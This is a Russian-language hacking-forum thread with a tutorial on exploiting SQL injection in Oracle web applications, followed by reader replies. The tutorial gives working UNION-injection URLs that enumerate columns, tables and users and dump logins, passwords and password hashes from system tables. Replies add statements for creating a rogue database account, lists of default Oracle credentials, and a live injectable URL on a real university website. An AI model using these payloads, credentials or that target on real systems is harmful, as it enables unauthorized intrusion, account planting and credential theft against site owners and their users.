![]() |
Проведение SQL инъекций в Oracle.
Проведение SQL инъекций в Oracle.
[Введение] Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось. В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду. В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое. Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder. [Особенности Oracle] Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно. Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими). В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL. Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL. Немаловажным свойством является отсутствие оператора LIMIT. Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный. Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL. При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например: Код:
[Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly endedКод:
Warning: OCIStmtExecute: ORA-01722: invalid number inПусть ошибка присутствует в параметре id: Код:
www.site.com/view.php?id=1’Код:
ORA-XXXXX: query block has incorrect number of result columns1. Простой перебор. Составим следующий запрос Код:
www.site.com/view.php?id=-1+union+select+null+from+sys.dual--Код:
www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--2. Использование оператора ORDER BY Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос Код:
www.site.com/view.php?id=-1+order+by+1--Код:
www.site.com/view.php?id=-1+order+by+99999--[Определение принтабельных столбцов] Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4. Код:
www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов Код:
ORA-XXXXX: expression must have same datatype as corresponding expressionКод:
www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--Код:
www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--Код:
www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--to_char( value, [ format_mask ], [ nls_language ] ) [Получение информации] После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом Код:
www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr(). [Таблицы и столбцы] Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle. Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user Код:
www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов: Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--Код:
www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора. “ВСЕ ПРОПАЛО!!!” – скажете вы. “НЕТ!!!” – отвечу я вам. Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме. Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы: ALL_ - все доступные пользователю (владельцем может и не быть), USER_ - объекты, чьим владельцем этот пользователь является. Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ Код:
www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables[Пароли] Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы. Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так Код:
www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users1. К имени пользователя приклеивается справа текст пароля. 2. В получившейся строке буквам повышается регистр. 3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80. 4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF. 5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом. 6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой. [Копирайты] При написании статьи использовались следующие материалы: Проведение SQL-Injection в PostgreSQL, статья Spyder, http://forum.antichat.ru/thread35599-oracle.html Проведение Инъекций в MSSQL сервер от Microsoft, статья cash, http://forum.antichat.ru/thread30501-mssql.html Как взломать парольную защиту Oracle или как ее обойти, статья Пржиялковского В., http://citforum.ru/database/oracle/passwd/ А так же пользовался документацией по Oracle 10i. [ЗЫ] В этой статье я попытался рассказать и показать практические аспекты проведения SQL инъекций в Oracle. Надеюсь кому нибудь пригодится. Критика, дополнения и замечания приветствуются в полном объеме, т.к. это моя первая статья. :rolleyes: Хочу выразить благодарности cash и spyder, за их статьи, на примере которых я писал и учился. :) А так же Thanat0z за предварительную рецензию. :) |
Как насчет вывода в файл/читалки файлов? в oracle есть аналоги?
|
Имхо синтаксис SELECT в SQL ORACLE не поддерживает вывода результата запроса в файл или загрузки файлов, как например в MySQL.
|
Не видел ничего про
sys.all_tables sys.all_tab_columns - V$session - user_objects - user from dual Про это всё тоже добавь, думаю лишним не будет. Кстати про создание своего акка в Оракле тоже не написано. |
Цитата:
Цитата:
|
Манн от Elekt
Создаём Аккаунт: CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO name; GRANT RESOURCE TO name; |
Моя по ораклу статья ушла в болталку:
https://forum.antichat.ru/thread16614-dual.html Там надо бы конечно все собрать во едино, но думаю на следующей неделе собирусь с силами и перепишу ее нормально. Хотя и ольше года ей уже... ;) Теперь немного по твоей статье: Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Так как в статье ошибка по поводу использования ";", то юзер должен создаваться без всяких проблем. Также через V$session можно узнать времена подключения разных юзеров к БД и некоторые другие параметры. Но ИМХО если это скуль, то доступа к V$session не будет, а если и будет, то будет все засорено обычными пользователями сайта. Также следует уточнить, что по умолчанию пассы в оракле следующие: system:manager sys:change_on_install Привилегий у sys больше чем у system (правда я хз куда уж больше) и всякие нерадивые админы частенько о нем забывают. Еще есть scott:tiger, если мне не изменяет память, в честь кота создателя оракла, который есть по умолчанию и о котором тоже забывают многие и еще какие-то юзеры. Кому интересно, думаю не трудно найти в инете или дождаться, когда у меня руки дойдут для переписывания старой статьи. П.С. Че-то прям вспомнил как мне обидно было когда ту статью мою перенесли в болталку. Тогда решил больше не писать ничего из-за такого отношения... |
Спасибо конечно за критику, но....
Цитата:
Цитата:
Во-вторых не надо вводить в заблуждение читателей, данный параметр не дает большей функциональности!!! Их вообще нельзя сравнивать, limit работает как с таблицей так и с выборкой, а numrow работает только с выборкой и является просто псевдостолбцом!!! А если уж сравнивать то параметр limit позволяет выбрать конкретное число строк из таблицы начиная с определенной, а параметр numrow только лишь количество строк. Цитата:
Цитата:
Разделитель запросов точка с запятой ";" присутствует только во всяких средствах разработки типа SQL*Plus или SQLNavigator, позволяющих разделять запросы, но только у себя на уровне приложения, естественно на уровне драйвера к самой СУБД они их сами разбивают на несколько запросов и проводят по-раздельности!!! Пробовали ли вы хоть раз составить запрос из нескольких разделенных точкой запятой операторов и выполнить это в приложении на java или php, не важно через какой интерфейс вы работаете (OCI, JDBC, ....), боюсь, что нет. В этом случае вы моментально получите сообщение об ошибке invalid character с указанием на ";"!!! Так же этот разделитель используется в процедурах PL\SQL, но ето совсем другая история и не относится к инъекции в SQL (имхо надо различать!). А если вы мне не верите вот вам пример живой скули с Oracle: Код:
http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,sys.login_user+fro m+sys.dual--Цитата:
По остальным замечаниям претензий не имею, готов дополнить свою статью;) ЗЫ podkashey не обижайся, но я кажется догадываюсь почему перенесли твою статью в болталку ;) ЗЗЫ Спасибо за ЗАМЕЧАНИЯ! |
Вот тут находится список пользователей по умолчанию:
логины, пароли, хэши паролей, краткое описание. почти 600 штук, не думал, что их ТАК много. |
Цитата:
Цитата:
Про разделитель ; мне не хочется искать примеров, но во многих местах он работает. Скорее всего зависит от того как происходит связь БД с Веб. Цитата:
Цитата:
ЗЗЫ Спасибо за попытку поспорить ;) ЗЗЗЫ Че-то у меня снова отпало желание переписывать статью... ;) Цитата:
Сейчас смотрю на 8ом оракле: adams, blake, clark, jones, scott. |
| Время: 03:52 |